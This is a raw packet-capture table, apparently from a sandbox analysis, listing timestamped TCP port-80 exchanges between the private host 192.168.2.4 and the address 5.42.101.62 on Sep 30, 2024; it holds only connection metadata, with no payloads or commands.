Sep 30, 2024 12:22:35.757575989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757586956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757608891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757620096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757642984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757653952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757673025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757678032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757716894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757725000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757760048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757769108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757792950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757802963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757826090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757836103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757862091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757870913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757895947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757908106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757930040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757936954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757965088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757975101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757997990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758008957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758037090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758049011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758083105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758093119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758116007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758126020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758150101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758152008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758193016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758207083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758239985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758250952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758275986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758285046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758312941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758322001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758347988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758358002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758382082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758390903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758414984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758421898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758450985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758455992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758486032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758495092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758518934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758531094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758553982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758563995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758595943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758610010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758655071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758661032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758692980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758702993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758727074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758737087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758761883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758770943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758806944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758815050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758847952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758858919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758881092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758887053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758913994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758924007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758949995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758958101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.758984089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.758994102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759026051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759033918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759068012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759078026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759099007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759109020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759130955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759141922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759170055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759176970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759205103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759215117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759239912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759252071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759284019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759293079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759325981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759330988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759355068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759371042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759404898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759404898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759443045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759444952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759481907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759481907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759516001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759525061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759550095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759558916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759583950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759596109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759615898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759627104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759651899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759666920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759700060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759710073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759733915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759742975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759766102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759778976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759800911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759809017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759831905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759840965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759867907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759874105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759901047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759911060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759938955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759946108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.759970903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.759980917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760004997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760011911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760035038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760046959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760068893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760080099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760102034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760107040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760134935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760144949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760169983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760176897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760202885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760212898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760236025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760250092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760268927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760277033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760303020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760312080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760335922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760350943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760370016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760380983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760404110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760412931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760437965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760447025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760473013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760481119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760507107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760516882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760536909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760550022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760571957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760582924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760607958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760612965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760642052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760653019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760674953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760684013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760708094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760716915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760741949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760750055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760791063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760793924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760824919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760835886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760855913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760867119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760890961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760898113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760924101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760932922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760958910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.760966063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.760987043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.761002064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.761019945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.761032104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.761054993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.761063099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.761089087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.761091948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.761121988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.761131048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.761156082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.761162996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.761188984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.761194944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.761224985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.761230946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.761269093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.843713999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.843786955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.843791008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.843823910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.843835115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.843858957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.843869925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.843902111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.843915939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.843949080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.843970060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.843986034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.843996048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844037056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844039917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844074965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844113111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844114065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844124079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844162941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844168901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844202995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844213963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844238043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844245911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844271898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844290018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844317913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844326019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844362974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844379902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844398975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844410896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844435930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844449997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844470978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844484091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844504118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844518900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844537973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844542027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844572067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844588995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844605923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844609022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844640970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844652891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844675064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844688892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844707966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844721079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844743013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844758034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844777107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844788074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844810963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844821930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844846010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844858885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844897985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844903946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844938040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844953060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.844973087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.844984055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845010042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845019102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845042944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845057011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845074892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845093012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845108986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845113993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845143080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845156908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845177889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845191956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845210075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845218897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845262051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845263004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845313072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845314980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845351934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845355034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845385075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845400095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845422029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845455885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845489025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845513105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845521927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845556021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845585108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845606089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845609903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845645905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845657110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845684052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845690966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845721006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845729113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845753908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845765114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845788956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845798969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845822096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845844030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845858097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845864058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845890999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845907927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845926046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845940113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845956087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.845972061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.845999956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846008062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846041918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846056938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846075058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846096992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846108913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846117020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846157074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846162081 CEST	80	52534	5.42.101.62	192.168.2.4
